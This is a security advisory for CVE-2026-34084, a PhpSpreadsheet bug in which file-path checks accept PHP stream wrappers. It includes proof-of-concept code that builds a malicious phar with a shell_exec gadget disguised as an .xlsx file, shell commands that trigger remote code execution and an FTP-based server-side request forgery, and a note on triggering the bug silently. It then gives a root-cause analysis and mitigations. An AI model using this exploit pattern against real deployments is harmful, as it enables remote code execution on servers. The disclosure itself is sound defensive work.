CVE-2026-34084

描述

The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below. This results in a SSRF, at "best", and RCE at worse. This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`). ## PoC To reproduce the vulnerable behavior, the following scripts were used: `php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ``` `make_phar.php` to create the malicious file: ```php <?php // php -c php.ini make_phar.php class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $pop = new GadgetClass('touch /tmp/poc.txt'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering(); rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n"; ``` `test.php` showcases the unsafe pattern: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $filename = $argv[1] ?? null; if (!$filename) { echo "Usage: php test.php <path>\n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); } echo "Calling IOFactory::load('" . $filename . "')\n"; try { $spreadsheet = IOFactory::load($filename); var_dump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; } ``` ### RCE Run the PoC (for RCE): ```bash php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt ``` The file `/tmp/poc.txt` should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. ### SSRF Run the PoC (for SSRF): ```bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test ``` Observe a connection is made to `127.0.0.1` on port `21`. ## Root Cause Analysis Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows: ```php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename); ``` The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios. ```php public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** @param mixed[] $data */ public function __unserialize(array $data): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } ``` Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts. ## Suggested mitigations Use `is_file` only after making sure the filename does not contain any php wrapper: ```php $scheme = parse_url($filename, PHP_URL_SCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); } ``` or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly: ```php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); } // from here on, $real should be a clean absolute path so we can pass it to is_file() if (!is_file($real)) { throw new ... } ``` > Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it.
